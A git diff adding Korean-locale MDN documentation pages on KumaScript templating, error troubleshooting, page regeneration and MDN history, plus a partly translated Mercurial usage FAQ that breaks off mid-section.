diff --git a/files/ko/mdn/tools/kumascript/index.html b/files/ko/mdn/tools/kumascript/index.html new file mode 100644 index 0000000000..329f2b3762 --- /dev/null +++ b/files/ko/mdn/tools/kumascript/index.html @@ -0,0 +1,472 @@ +--- +title: KumaScript +slug: MDN/Tools/KumaScript +tags: + - Guide + - Kuma + - KumaScript + - MDN Meta + - NeedsContent + - NeedsTranslation + - Site-wide + - TopicStub +translation_of: MDN/Tools/KumaScript +--- +
{{MDNSidebar}}
+ +

On the Kuma platform that powers MDN, the template system for automating aspects of content on the wiki is called KumaScript. KumaScript is powered by server-side JavaScript, implemented using Node.js. This article provides basic information on how to use KumaScript.

+ +

For a detailed overview and Q&A of KumaScript, watch the MDN dev team's KumaScript Fireside Chat (the meeting starts at 10 minutes into the video). KumaScript replaced DekiScript, which was the template language for MindTouch, the previous platform used by MDN.

+ +

What is KumaScript?

+ + + +

What KumaScript is not

+ + + +

Basics

+ +

KumaScript is used on MDN in embedded JavaScript templates. These templates can be invoked in document content by any MDN author, through the use of macros.

+ +

A script in KumaScript is a template, and each template is a file in the macros directory of the KumaScript repository on Github. A template looks like this:

+ +
<% for (var i = 0; i < $0; i++) { %>
+  Hello #<%= i %>
+<% } %>
+ +

Invoking a template is done with a macro, which can be used anywhere in any wiki content. A macro looks like this:

+ +
\{{hello(3)}}
+ +

The output of the macro looks like this:

+ +
Hello #0
+Hello #1
+Hello #2
+ +

Macro syntax

+ +

KumaScript templates are invoked in document content with macros, like this:

+ +
\{{templateName("arg0", "arg1", ..., "argN")}}
+ +

Macro syntax consists of these rules:

+ + + +

Using JSON as a macro parameter

+ +

As a semi-experimental feature (not guaranteed to work), you can supply a JSON object for the first and only parameter, like so:

+ +
\{{templateName({ "Alpha": "one", "Beta": ["a", "b", "c"], "Foo": "https:\/\/mozilla.org\/" })}}
+ +

The data from this macro is available in template code as an object in the $0 argument (e.g., $0.Alpha, $0.Beta, $0.Foo). This also allows you to express complex data structures in macro parameters that are hard or impossible to do with a simple list of parameters.

+ +

Note that this parameter style is very picky — it must adhere to JSON syntax exactly, which has some requirements about escaping characters that are easy to miss (e.g., all forward slashes are escaped). When in doubt, try running your JSON through a validator.

+ +

How to write "\{{" in text

+ +

Since the character sequence "\{{" is used to indicate the start of a macro, this can be troublesome if you actually just want to use "\{{" and "}}" in a page. It will probably produce DocumentParsingError messages.

+ +

In this case, you can escape the first brace with a backslash, like so: \\{{

+ +

Template syntax

+ +

Each KumaScript template is a file under the macros directory of KumaScript. You create and edit these files as you would the files of any open-source project on GitHub (see the KumaScript README for more information).

+ +

KumaScript templates are processed by an embedded JavaScript template engine with a few simple rules:

+ + + +

Tips

+ +

You can see a list of macros and how they are used on MDN on the macros dashboard.

+ +

Advanced Features

+ +

Beyond the basics, the KumaScript system offers some advanced features.

+ +

Environment variables

+ +

When the wiki makes a call to the KumaScript service, it passes along some context on the current document that KumaScript makes available to templates as variables:

+ +
+
env.path
+
The path to the current wiki document
+
env.url
+
The full URL to the current wiki document
+
env.id
+
A short, unique ID for the current wiki document
+
env.files
+
An array of the files attached to the current wiki document; each object in the array is as described under {{ anch("File objects") }} below
+
env.review_tags
+
An array of the review tags on the article ("technical", "editorial", etc.)
+
env.locale
+
The locale of the current wiki document
+
env.title
+
The title of the current wiki document
+
env.slug
+
The URL slug of the current wiki document
+
env.tags
+
An array list of tag names for the current wiki document
+
env.modified
+
Last modified timestamp for the current wiki document
+
env.cache_control
+
Cache-Control header sent in the request for the current wiki document, useful in deciding whether to invalidate caches
+
+ +

File objects

+ +

Each file object has the following fields:

+ +
+
title
+
The attachment's title
+
description
+
A textual description of the current revision of the file
+
filename
+
The file's name
+
size
+
The size of the file in bytes
+
author
+
The username of the person who uploaded the file
+
mime
+
The MIME type of the file
+
url
+
The URL at which the file can be found
+
+ +

Working with tag lists

+ +

The env.tags and env.review_tags variables return arrays of tags. You can work with these in many ways, of course, but here are a couple of suggestions.

+ +
Looking to see if a specific tag is set
+ +

You can look to see if a specific tag exists on a page like this:

+ +
if (env.tags.indexOf("tag") != −1) {
+  // The page has the tag "tag"
+}
+
+ +
Iterating over all the tags on a page
+ +

You can also iterate over all the tags on a page, like this:

+ +
env.tag.forEach(function(tag) {
+  // do whatever you need to do, such as:
+  if (tag.indexOf("a") == 0) {
+    // this tag starts with "a" - woohoo!
+  }
+});
+ +

APIs and Modules

+ +

KumaScript offers some built-in methods and APIs for KumaScript macros. Macros can also use module.exports to export new API methods.

+ +

API changes require updating the KumaScript engine or macros via a pull request to the KumaScript repository.

+ +

Built-in methods

+ +

This manually-maintained documentation is likely to fall out of date with the code. With that in mind, you can always check out the latest state of built-in APIs in the KumaScript source. But here is a selection of useful methods exposed to templates:

+ +
+
md5(string)
+
Returns an MD5 hex digest of the given string.
+
template("name", ["arg0", "arg1", ..., "argN"])
+
+

Executes and returns the result of the named template with the given list of parameters.

+ +

Example: <%- template("warning", ["foo", "bar", "baz"]) %>.

+ +

Example using the DOMxRef macro: <%- template("DOMxRef", ["Event.bubbles", "bubbles"]) %>.

+ +

This is a JavaScript function. So, if one of the parameters is an arg variable like $2, do not put it in quotes. Like this: <%- template("warning", [$1, $2, "baz"]) %>. If you need to call another template from within a block of code, do not use <% ... %>. Example: myvar = "<li>" + template("LXRSearch", ["ident", "i", $1]) + "</li>";

+
+
require(name)
+
Loads another template as a module; any output is ignored. Anything assigned to module.exports in the template is returned.
+
Used in templates like so: <% const my_module = require('MyModule'); %>.
+
cacheFn(key, timeout, function_to_cache)
+
Using the given key and cache entry lifetime, cache the results of the given function. Honors the value of env.cache_control to invalidate cache on no-cache, which can be sent by a logged-in user hitting shift-refresh.
+
request
+
Access to mikeal/request, a library for making HTTP requests. Using this module in KumaScript templates is not yet very friendly, so you may want to wrap usage in module APIs that simplify things.
+
log.debug(string)
+
Outputs a debug message into the script log on the page (i.e. the big red box that usually displays errors).
+
+ +

Built-in API modules

+ +

There are a set of built in API that are automatically loaded and made available to every template by the environment script.

+ +

For the most part, these attempt to provide stand-ins for legacy DekiScript features to ease template migration. But, going forward, these can be used to share common variables and methods between templates:

+ + + +

You can see the most up to date list of methods under kuma from the KumaScript source code, but here are a few:

+ +
+
kuma.inspect(object)
+
Renders any JS object as a string, handy for use with log.debug(). See also: node.js util.inspect().
+
kuma.htmlEscape(string)
+
Escapes the characters &, <, >, " to &amp, &lt;, &gt;, &quot;, respectively.
+
kuma.url
+
See also: node.js url module.
+
kuma.fetchFeed(url)
+
Fetch an RSS feed and parse it into a JS object. See also: InsertFeedLinkList
+
+ +

Creating modules

+ +

Using the built-in require() method, you can load a template as a module to share common variables and methods between templates. A module can be defined in a template like this:

+ +
<%
+module.exports = {
+    add: function (a, b) {
+        return a + b;
+    }
+}
+%>
+ +

Assuming this template is saved under https://github.com/mdn/kumascript/tree/master/macros as MathLib.ejs, you can use it in another template like so:

+ +
<%
+var math_lib = require("MathLib");
+%>
+The result of 2 + 2 = <%= math_lib.add(2, 2) %>
+ +

And, the output of this template will be:

+ +
The result of 2 + 2 = 4
+ +

Tips and caveats

+ +

Debugging

+ +

A useful tip when debugging. You can use the log.debug() method to output text to the scripting messages area at the top of the page that's running your template. Note that you need to be really sure to remove these when you're done debugging, as they're visible to all users! To use it, just do something like this:

+ +
<%- log.debug("Some text goes here"); %>
+ +

You can, of course, create more complex output using script code if it's helpful.

+ +

Caching

+ +

KumaScript templates are heavily cached to improve performance. For the most part, this works great to serve up content that doesn't change very often. But, as a logged-in user, you have two options to force a page to be regenerated, in case you notice issues with scripting:

+ + + +

Using search keywords to open template pages

+ +

When using templates, it's common to open the template's code in a browser window to review the comments at the top, which are used to document the template, its parameters, and how to use it properly. To quickly access templates, you can create a Firefox search keyword, which gives you a shortcut you can type in the URL box to get to a template more easily.

+ +

To create a search keyword, open the bookmarks window by choosing "Show all bookmarks" in the Bookmarks menu, or by pressing Control+Shift+B (Command+Shift+B on Mac). Then from the utility ("Gear") menu in the Library window that appears, choose "New Bookmark...".

+ +

This causes the bookmark editing dialog to appear. Fill that out as follows:

+ +
+
Name
+
A suitable name for your search keyword; "Open MDN Template" is a good one.
+
Location
+
https://github.com/mdn/kumascript/blob/master/macros/%s
+
Tags{{Optional_Inline}}
+
A list of tags used to organize your bookmarks; these are entirely optional and what (if any) tags you use is up to you.
+
Keyword
+
The shortcut text you wish to use to access the template. Ideally, this should be something short and quick to type, such as simply "t" or "mdnt".
+
Description{{Optional_Inline}}
+
A suitable description explaining what the search keyword does.
+
+ +

The resulting dialog looks something like this:

+ +

+ +

Then click the "Add" button to save your new search keyword. From then on, typing your keyword, then a space, then the name of a macro will open that macro in your current tab. So if you used "t" as the keyword, typing t ListSubpages will show you the page at {{TemplateLink("ListSubpages")}}.

+ +

Cookbook

+ +

This section will list examples of common patterns for templates used on MDN, including samples of legacy DekiScript templates and their new KumaScript equivalents.

+ +

Force templates used on a page to be reloaded

+ +

It bears repeating: To force templates used on a page to be reloaded after editing, hit Shift-Reload. Just using Reload by itself will cause the page contents to be regenerated, but using cached templates and included content. A Shift-Reload is necessary to invalidate caches beyond just the content of the page itself.

+ +

Recovering from "Unknown Error"

+ +

Sometimes, you'll see a scripting message like this when you load a page:

+ +
Kumascript service failed unexpectedly: <class 'httplib.BadStatusLine'>
+ +

This is probably a temporary failure of the KumaScript service. If you Refresh the page, the error may disappear. If that doesn't work, try a Shift-Refresh. If, after a few tries, the error persists - file an IT bug for Mozilla Developer Network to ask for an investigation.

+ +

Broken wiki.languages() macros

+ +

On some pages, you'll see a scripting error like this:

+ +
Syntax error at line 436, column 461: Expected valid JSON object as the parameter of the preceding macro but...
+ +

If you edit the page, you'll probably see a macro like this at the bottom of the page:

+ +
\{{ wiki.languages({ "zh-tw": "zh_tw/Core_JavaScript_1.5_教學/JavaScript_概要", ... }) }}
+ +

To fix the problem, just delete the macro. Or, replace the curly braces on either side with HTML comments <!-- --> to preserve the information, like so:

+ +
<!-- wiki.languages({ "zh-tw": "zh_tw/Core_JavaScript_1.5_教學/JavaScript_概要", ... }) -->
+ +

Because Kuma supports localization differently, these macros aren't actually needed any more. But, they've been left intact in case we need to revisit the relationships between localized pages. Unfortunately, it seems like migration has failed to convert some of them properly.

+ +

Finding the Current Page's Language

+ +

In KumaScript, the locale of the current document is exposed as an environment variable:

+ +
const lang = env.locale;
+ +

The env.locale variable should be reliable and defined for every document.

+ +

Reading the contents of a page attachment

+ +

You can read the contents of an attached file by using the mdn.getFileContent() function, like this:

+ +
<%
+  let contents = mdn.getFileContent(fileUrl);
+  // ... do stuff with the contents ...
+%>
+
+ +

or

+ +
<%- mdn.getFileContent(fileObject); %>
+
+ +

In other words, you may specify either the URL of the file to read or as a file object. The file objects for a page can be accessed through the array env.files. So, for example, to embed the contents of the first file attached to the article, you can do this:

+ +
<%- mdn.getFileContent(env.files[0]); %>
+
+ +
+

Note: You probably don't want to try to embed the contents of a non-text file this way, as the raw contents would be injected as text. This is meant to let you access the contents of text attachments.

+
+ +

If the file isn't found, an empty string is returned. There is currently no way to tell the difference between an empty file and a nonexistent one. But if you're putting empty files on the wiki, you're doing it wrong.

+ +

テンプレートのローカライズ

+ +

Templates are not translated like wiki pages, rather any single template might be used for any number of locales.

+ +

So the main way to output content tailored to the current document locale is to pivot on the value of env.locale. There are many ways to do this, but a few patterns are common in the conversion of legacy DekiScript templates:

+ +

If/else blocks in KumaScript

+ +

The KumaScript equivalent of this can be achieved with simple if/else blocks, like so:

+ +
<% if ("fr" == env.locale) { %>
+<%- template("CSSRef") %> « <a href="/fr/docs/Référence_CSS/Extensions_Mozilla">Référence CSS: Extensions Mozilla</a>
+<% } else if ("ja" == env.locale) { %>
+<%- template("CSSRef") %> « <a href="/ja/docs/CSS_Reference/Mozilla_Extensions">CSS リファレンス: Mozilla 拡張仕様</a>
+<% } else if ("pl" == env.locale) { %>
+<%- template("CSSRef") %> « <a href="/pl/docs/Dokumentacja_CSS/Rozszerzenia_Mozilli">Dokumentacja CSS: Rozszerzenia Mozilli</a>
+<% } else if ("de" == env.locale) { %>
+<%- template("CSSRef") %> « <a href="/de/docs/CSS_Referenz/Mozilla_CSS_Erweiterungen">CSS Referenz: Mozilla Erweiterungen</a>
+<% } else { %>
+<%- template("CSSRef") %> « <a href="/en-US/docs/CSS_Reference/Mozilla_Extensions">CSS Reference: Mozilla Extensions</a>
+<% } %>
+ +

Depending on what text editor is your favorite, you may be able to copy & paste from the browser-based editor and attack this pattern with a series of search/replace regexes to get you most of the way there.

+ +

My favorite editor is MacVim, and a series of regexes like this does the bulk of the work with just a little manual clean up following:

+ +
%s#<span#^M<span#g
+%s#<span lang="\(.*\)" .*>#<% } else if ("\1" == env.locale) { %>#g
+%s#<span class="script">template.CSSxRef(#<%- template("CSSxRef", [#
+%s#)</span> </span>#]) %>
+
+ +

Your mileage may vary, and patterns change slightly from template to template. That's why the migration script was unable to just handle this automatically, after all.

+ +

String variables and switch

+ +

Rather than switch between full chunks of markup, you can define a set of strings, switch them based on locale, and then use them to fill in placeholders in a single chunk of markup:

+ +
<%
+var s_title = 'Firefox for Developers';
+switch (env.locale) {
+    case 'de':
+        s_title = "Firefox für Entwickler";
+        break;
+    case 'fr':
+        s_title = "Firefox pour les développeurs";
+        break;
+    case 'es':
+        s_title = "Firefox para desarrolladores";
+        break;
+};
+%>
+<span class="title"><%= s_title %></span>
+ +

Use mdn.localString()

+ +

A recent addition to the MDN:Common module is mdn.localString(), used like this:

+ +
<%
+var s_title = mdn.localString({
+  "en-US": "Firefox for Developers",
+  "de": "Firefox für Entwickler",
+  "es": "Firefox para desarrolladores"
+});
+%>
+<span class="title"><%= s_title %></span>
+ +

This is more concise than the switch statement, and may be a better choice where a single string is concerned. However, if many strings need to be translated (e.g., as in {{TemplateLink("CSSRef")}}), a switch statement might help keep all the strings grouped by locale and more easily translated that way.

+ +

When the object does not have the appropriate locale, the value of "en-US" is used as the initial value.

+ +

See also

+ + diff --git a/files/ko/mdn/tools/kumascript/troubleshooting/index.html b/files/ko/mdn/tools/kumascript/troubleshooting/index.html new file mode 100644 index 0000000000..ab72f466f1 --- /dev/null +++ b/files/ko/mdn/tools/kumascript/troubleshooting/index.html @@ -0,0 +1,59 @@ +--- +title: KumaScript 에러 해결하기 +slug: MDN/Tools/KumaScript/Troubleshooting +translation_of: MDN/Tools/KumaScript/Troubleshooting +--- +
{{MDNSidebar}}
+ +
+

 빨갛고 무서운 상자 안에 든 KumaScript 에러는 매우 보기 불편합니다. 하지만 다행히도, MDN 계정이 있다면 누구나 문서를 편집해 이 문제를 해결할 수 있어요. When a page has an error it gets added to the list of documents with errors.  Site editors go through this list regularly to find and fix errors. This article details the four types of KumaScript error, and some steps you can take to fix them.

+
+ +

DocumentParsingError

+ +

DocumentParsingError errors appear when KumaScript has trouble understanding something in the document itself. The most common cause is a syntax error in a macro.

+ +

Check for:

+ +
+
Use of curly braces without intending to call a macro.
+
If you need to write  \{ in a document without calling a macro you can escape it with a \ like this: \\{
+
Use of a special character in a macro parameter.
+
If you need to use a " or a \  inside of a macro parameter they can be escaped with a \ like this: \\ or \"
+
Missing commas between macro parameters.
+
Macro parameters need to be delimited by a comma (,) but not at the end of the list of parameters; for example \{\{anch("top", "Back to top")}}.
+
HTML tags appearing inside a macro call
+
If you apply styling to a macro, it will often break because, for example, a </code> tag may have appeared inside the macro code in the source code. Check the source view to see what's there, and remove any unnecessary styling.
+
+ + + +

TemplateLoadingError

+ +

TemplateLoadingError errors appear when KumaScript has trouble finding which macro to include on a page.

+ +

Check for:

+ +
+
Misspelling of macro names or renamed macros.
+
You can look at the list of known macros in the Github repo.
+
+ +
+

Tip: You can make it quick and easy to jump to a specific macro by adding a search keyword to Firefox. See {{SectionOnPage("/en-US/docs/MDN/Contribute/Tools/KumaScript", "Using search keywords to open template pages")}} for a step-by-step guide to creating the search keyword for this.

+
+ +

TemplateExecutionError

+ +

TemplateExecutionError errors appear when KumaScript encounters an error in the macro. These errors can only be fixed by admin users and need to be reported as bugs.

+ +

Before reporting an error check to see that it hasn't already been fixed. You can do this by forcing KumaScript to give you a fresh copy of the page by holding down Shift while you refresh the page (Shift + Ctrl + R on Windows/Linux, Shift + Cmd + R on Mac).

+ +

If the error persists, report a bug, including the URL of the page and the text of the error.

+ +

Error & Unknown

+ +

This is the category errors end up in if they are not one of the other kinds of error.

+ +

Check for fixes and report persistent bugs like described under TemplateExecutionError.

diff --git "a/files/ko/mdn/tools/\355\216\230\354\235\264\354\247\200_\354\236\254\354\203\235\354\204\261/index.html" "b/files/ko/mdn/tools/\355\216\230\354\235\264\354\247\200_\354\236\254\354\203\235\354\204\261/index.html" new file mode 100644 index 0000000000..2b75d2508f --- /dev/null +++ "b/files/ko/mdn/tools/\355\216\230\354\235\264\354\247\200_\354\236\254\354\203\235\354\204\261/index.html" @@ -0,0 +1,34 @@ +--- +title: 페이지 재생성 +slug: MDN/Tools/페이지_재생성 +tags: + - Guide + - MDN Meta + - Page-level + - Tools +translation_of: MDN/Tools/Page_regeneration +--- +
{{MDNSidebar}}

MDN 사이트는 성능상의 이유로 페이지를 캐시합니다. 그 결과, 당신이 페이지에 저장한 변경 사항이 다음 번 페이지 새로 고침할 때 나타나지 않을 수 있습니다. 자주, 항상은 아니지만, 배너가 페이지 업데이트가 진행 중임을 알리는 페이지에 나타납니다. 당신은 서버에서 페이지를 새로 고침하기 위해 브라우저에 "강제 새로 고침"을 할 수 있지만, 이는 서버의 업데이트가 끝나지 않았다면 효과가 없을 지도 모릅니다.

+ +

일부 페이지(특히 첫방문landing 페이지)는 자동으로 생성하고 콘텐츠를 업데이트하기 위해 매크로를 사용합니다. 첫방문 페이지의 경우, 매크로는 글쓴이가 손수 추가할 필요 없이 새 글이 자동으로 페이지에 나열되게 합니다. 이는 오랜 공헌자에게는 편리하고, 새로 온 이들은 사이트 계층구조에 자신의 글을 링크하는 법을 모르기에 그들의 작업을 셔플에서 잃는 것을 막는 데 도움이 됩니다.

+ +

이는 (예를 들어, {{TemplateLink("Page")}} 매크로를 써서) 한 페이지의 콘텐츠를 다른 페이지로 삽입(transcluding)할 때도 사용할 수 있습니다.

+ +

MDN은 성능상의 이유로 렌더링된 콘텐츠를 캐시하기 때문에, (매크로 출력이나 삽입transcluded 페이지 같은) 원 저작물(source material)에 더해진 변경 사항은 자동으로 페이지에 반영되지 않습니다. 그러한 원 저작물에 자주 변경이 예상되는 경우, 자동 페이지 재생성 활성화를 고려할 수 있습니다.

+ +

자동 재생성을 활성화하기 위해서:

+ +
    +
  1. 편집 모드 진입을 위해 페이지 상의 편집 버튼 클릭.
  2. +
  3. 페이지 제목 아래, 페이지 제목 근처에 위치한 페이지 제목과 속성 편집 클릭. 페이지 메타데이터 필드가 나타남.
  4. +
  5. 렌더링 최대 수명값을 설정. 이 값은 캐시된 페이지의 매크로 재실행을 포함하여, 재빌드되는 일정을 결정합니다. 보통, 우리는 여기에 4내지 8시간을 사용합니다. 기술의 문서화가 빠르게 바뀌는 경우, 더 작은 수를 선택할 수 있습니다.
  6. +
  7. 페이지에 변경 사항을 저장. 리비전 코멘트에 "렌더링 최대 수명을 4시간으로 설정"과 같이, 당신이 작업한 내용을 설명하는 것은 좋은 습관입니다. 
  8. +
+ +

페이지는 당신이 지정한 일정대로 자동으로 재성성됩니다.

+ +
+

주의: "페이지 제목과 속성 편집" 옵션은 새 페이지를 만들 때는 이용할 수 없습니다. 첫 번째 저장 이후로 편집기를 다시 열어야 합니다.

+
+ +

 

diff --git a/files/ko/mdn/user_guide/index.html b/files/ko/mdn/user_guide/index.html new file mode 100644 index 0000000000..5abcd75cc9 --- /dev/null +++ b/files/ko/mdn/user_guide/index.html @@ -0,0 +1,11 @@ +--- +title: MDN 사용자 가이드 +slug: MDN/User_guide +tags: + - 모질라 개발자 네트워크 + - 사용자 가이드 +translation_of: MDN/Tools +--- +
{{MDNSidebar}}

모질라 개발자 네트워크 (이하 MDN) 사이트는, (파이어폭스 및 파이어폭스 운영체제 개발자 뿐 아니라) 웹 개발자를 위한 문서 및 샘플 코드를 찾고, 읽고, 기여하는 고급 시스템입니다. MDN 사용자 가이드는 필요한 문서를 찾도록 MDN을 이용하는 방법을, 원한다면 좀 더 좋은, 더 광범위하고, 더 완전한 자료를 만들도록 돕는 방법을 열거하는 항목을 제공합니다.

+ +

{{LandingPageListSubpages}}

diff --git a/files/ko/mdn_at_ten/index.html b/files/ko/mdn_at_ten/index.html new file mode 100644 index 0000000000..d4883ca7cd --- /dev/null +++ b/files/ko/mdn_at_ten/index.html @@ -0,0 +1,43 @@ +--- +title: MDN at 10 +slug: MDN_at_ten +tags: + - MDN + - MDN 메타 + - MDN 변천 + - 역사 + - 출발 +translation_of: MDN_at_ten +--- + + +
+
+

MDN의 역사

+ +

2005년, 이상주의자들로 이루어진 작은 팀은 웹 개발자들을 위한 새롭고 무료이며 협력으로 만들어진 온라인 리소스를 만들었습니다. 그들의 뛰어난, 그러나 색다른 아이디어는 오늘날의 오픈 웹 기술자들을 위한 최고의 리소스인 Mozilla 개발자 네트워크로 성장되었습니다. 10년뒤, 우리의 세계적 커뮤니티는 역대 최고이며, 우리는 여전히 함께 문서를 만들고 코드를 작성하며 오픈 웹을 현재와 같이 강력하게 만들어주는 CSS, HTML, 자바스크립트 등과 같은 오픈 웹 기술자들을 위한 리소스들을 배웁니다.

+ +

더 알아보기about the history

+ + +

MDN에 공헌하기

+ +

10년동안 MDN 커뮤니티는 오픈 웹을 기록해왔습니다. 간단한 오탈자 수정에서부터 새로운 API의 전체를 작성하는 것까지, 모두가 무언가를 제공했고, 어떠한 기여도 적지 않았습니다. 우리는 Mozillians의 뛰어난 맴버들이 작성하거나 번역한 9만 페이지 이상의 자료들이 있습니다. 당신도 그중 하나가 될 수 있습니다.

+ +

더 알아보기about contributing

+ +

 

+ +

 

+
+ +
{{TenthCampaignQuote}}
+ +

추가정보

+ +
    +
  1. MDN 10주년
  2. +
  3. MDN의 역사
  4. +
  5. MDN에 기여하기
  6. +
+
diff --git a/files/ko/mercurial_faq/index.html b/files/ko/mercurial_faq/index.html new file mode 100644 index 0000000000..c433466137 --- /dev/null +++ b/files/ko/mercurial_faq/index.html @@ -0,0 +1,646 @@ +--- +title: Mercurial 사용 +slug: Mercurial_FAQ +translation_of: Mercurial/Using_Mercurial +--- +

Mercurial 설치와 설정

+

Installing Mercurial 설치를 참고하세요. Mercurial이 이미 설치되어 있어도 다음 사항을 확인하세요.

+ +

어떻게...

+

Mozilla 코드를 어떻게 받을 수 있나요?

+

Gecko와 Firefox의 기본 개발 저장소를 클론받기 위해서는 아래와 같이 하세요:

+
hg clone http://hg.mozilla.org/mozilla-central/ src
+cd src
+

다른 저장소는 Mercurial을 이용해서 Mozilla의 소스 코드 받기를 참고하세요.

+

어떻게 파일을 수정하고 업데이트 하나요?

+

CVS처럼 작업 디렉토리에서 아무 파일이나 수정할 수 있습니다.

+

트리를 업데이트하는 일반적인 명령어는 다음과 같습니다:

+
hg pull -u
+
+

하나의 디렉토리만 업데이트 하는 일은 할 수 없습니다. 전체 트리를 업데이트 해야만 합니다.

+

How can I diff and patch files?

+ +

Preferred diff options are hg diff -p -U 8 which includes 8 lines of context and shows the relevant function for the block. You can make these options default in the Mercurial configuration file.

+

How can I generate a patch for somebody else to check-in for me?

+

If you don't have commit access yourself, you need to attach your patches to a bug for somebody to check in.  In order to do that, you should make sure that your patch has the following conditions:

+
    +
  1. It has a correctly formatted author name.
  2. +
  3. It has a correctly formatted commit message.
  4. +
  5. It is generated in git style.
  6. +
+

Here is a very easy way to get this setup working using mq.  First, you need to edit your ~/.hgrc file.  You only need to do this once.  Your hgrc file should have the following contents at least:

+
[ui]
+username = John Smith <john@smith.com>
+
+[defaults]
+qnew = -Ue
+
+[extensions]
+mq =
+
+[diff]
+git = 1
+showfunc = 1
+unified = 8
+
+

Now, in order to create a patch, you should enter:

+
hg qnew name.patch
+
+

which opens up your favorite editor so that you can enter a good commit message.  A good sample commit message looks like: "Bug 123456 - Change this thing to work better by doing something; r=reviewers".  You don't need to enter the final commit message (for example, if you haven't received reviews yet).  You can edit the commit message of the current mq patch at any time using hg qref -e.

+

The ~/.hgrc default -U argument for the qnew command add the author information to the patch (using a From: header), and the default -e argument opens up the editor for you to type in a commit message.

+

Now, after editing some source code, you can use hg qref to update your patch file.

+

To attach the patch to the bug, you can use the file named name.patch located in your <repository>/.hg/patches directory directly.

+

어떻게 변경 내용을 적용(check in)하나요?

+

필수 설정

+

변경 내용을 커밋하기 전에 이 내용을 ~/.hgrc 파일에 추가해야 합니다:

+
[ui]
+username = Your Name <your.email@example.com>
+
+

mozilla-central이나 다른 mozilla-hosted 저장소에 변경내용을 올리기 위해서는 커밋 권한을 가지고 있어야 하고 (your-local-hg-root)/.hg/hgrc (~/.hgrc 파일이 아닙니다) 파일에 다음의 내용을 넣어야 합니다:

+
[paths]
+default = http://hg.mozilla.org/mozilla-central/
+default-push = ssh://hg.mozilla.org/mozilla-central/
+
+

또한 ssh에 hg.mozilla.org에 접속할 사용자 이름이 무엇인지 알려주어야 합니다. 이 이름은 Mozilla LDAP 계정과 연결된 사용자 이름이어야 합니다. 이를 위해서 위에 있는 default-push 경로는 좀 더 복잡하게 만들거나 (user@host.name@hg.mozilla.org) ~/.ssh/config에 다음 내용을 넣어서 해결할 수 있습니다:

+
Host hg.mozilla.org
+User user@host.domain
+
+

커밋하려고 하는 내용 확인

+

다음으로 정말로 커밋하고자 하는 내용을 커밋하게 될 것인지 확인합니다(특히나 다른 까다로운 커밋을 머지할 때에 중요합니다):

+
hg status
+hg diff
+
+

status 명령어는 작업 디렉토리의 변경된 내용이 있는 파일과 저장소(부모 리비전으로서 hg parents를 이용해서 볼 수 있습니다)에 있는 내용을 비교해서 보여줍니다. hg diff는 이 파일들의 실제 변경 내역을 하나의 diff로 보여줍니다. 더 자세한 내용을 보기 위해서 -U8 옵션을 설정할 수 있습니다.

+

로컬 저장소에 커밋

+

다음 단계로 변경내용을 로컬 저장소에 커밋합니다:

+
hg commit
+
+

이렇게 하면 hg status로 보고된 변경내용을 매번 커밋합니다. hg commit filenames을 이용해서 특정 파일이나 디렉토리만 커밋 할 수 있습니다. hg commit -u "Someone Else <someone@example.com>"를 사용해서 다른사람을 대신해서 커밋할 수도 있습니다. 더 자세한 내용은 hg help commit을 살펴보세요.

+

새로운 파일을 저장소에 추가된고 필요없는 파일을 지우려면 다음 명령어를 사용하세요.

+
hg addremove
+
+

푸시하려는 내용 확인

+

푸시를 하기 전에 어떠한 변경내용(changeset)이 푸시될지 확인할 수 있습니다. 이를 위해서 outgoing 명령어를 사용합니다:

+
hg outgoing
+
+

이렇게 하면 기본 원격 저장소에 푸시할 변경내용의 목록을 보여줍니다. 다른 저장소에 푸시될 변경내용을 확인하려면 저장소 아규먼트를 추가합니다.

+

중앙 저장소에 푸시

+

중앙 저장소에 이 변경사항을들 푸시해서 올립니다:

+
hg push
+
+

실수로 푸시하는 일 방지

+

qpush 명령어가 쉽게 push로 잘못 입력될 수 있기 때문에, MQ 패치를 적용할 때 실수로 푸시를 하게될 수 있습니다. 실수로 푸시하는 일을 방지하기 위해서는 아래의 내용을 ~/.hgrc 파일에 기입합니다:

+
[hooks]
+pre-push = read -p 'Are you sure you want to push to remote? (y/n): '; if test "$REPLY" != "y"; then echo 'Push cancelled'; exit 1; fi
+
+

이렇게 하면 push 명령어를 입력할 때 마다 사용자가 확인을 해야 하고 y 이외의 다른 내용을 입력하면 푸시가 취소됩니다.

+

How do I deal with "abort: push creates new remote heads!"?

+

Whatever you do, don't do 'push -f' like the message suggests. (It'll probably fail anyway, but don't try it.)

+

Someone pushed new commits upstream since your last pull. You then committed your patch locally and are trying to push that commit upstream; that upstream has a different tip commit that you started from.

+
  YOU ---> o  9123b7791b52 - Kaitlin Jones <kaitlin@example.net> - Bug 123456 - Trebled fromps (r=gavin)
+           |
+TRUNK ---> | o  306726089e22 - Robert Longson <longsonr@example.com> - Bug 437448. New-style nsSVGString
+           | |
+           | o  ba9b9a7c52a5 - Robert Longson <longsonr@example.com> - Bug 437448. New-style nsSVGString
+           |/
+           o  f8f4360bf155 - Robert O'Callahan <robert@example.org> - Bug 421436. Remove hack that gives
+

There are three things you can do. In all cases, you are strongly encouraged to take steps to back up your patch (perhaps by obtaining a diff: hg log -p -r 12345 to show the patch for rev 12345).

+

Using hg merge

+

Run hg pull, then hg merge. If there are any merge conflicts, hg will open a merge program to try to help you resolve them manually. (If you fail to make sense of the merge tool, that's OK.  Just close it; hg will detect that the conflicts weren't all resolved and spit out some hg update -C commands that you can use to undo and then retry the busted merge.)

+

Even if there were no conflicts, you have to commit the merge: hg commit -m "Merge bug 123456".

+
  YOU ---> o 1fe7659c29a9 - Kaitlin Jones <kaitlin@example.net> - Merge bug 123456.
+           |\
+           o | 9123b7791b52 - Kaitlin Jones <kaitlin@example.net> - Bug 123456 - Trebled fromps (r=gavin)
+           | |
+TRUNK ---> | o  306726089e22 - Robert Longson <longsonr@example.com> - Bug 437448. New-style nsSVGString
+           | |
+           | o  ba9b9a7c52a5 - Robert Longson <longsonr@example.com> - Bug 437448. New-style nsSVGString
+           |/
+           o  f8f4360bf155 - Robert O'Callahan <robert@example.org> - Bug 421436. Remove hack that gives
+

Now you can hg push as normal.

+

This leaves a merge commit in the log, which some people find annoying, so it's usually better to avoid this solution.

+

If you decide to use this method, it is advantageous to enable the Mercurial fetch extension (by means of a fetch = line in the [extensions] section of your <repository>/.hg/hgrc or your $HOME/.hgrc file) so you can do the pull + merge + commit sequence in one step (assuming no merge conflicts) by using the hg fetch command.

+

Using Mercurial queues

+

A way to solve your problem without leaving a merge commit is to import your commit into mq control, pop it off the queue, update, and then commit it again before pushing:

+
% hg log -l 5
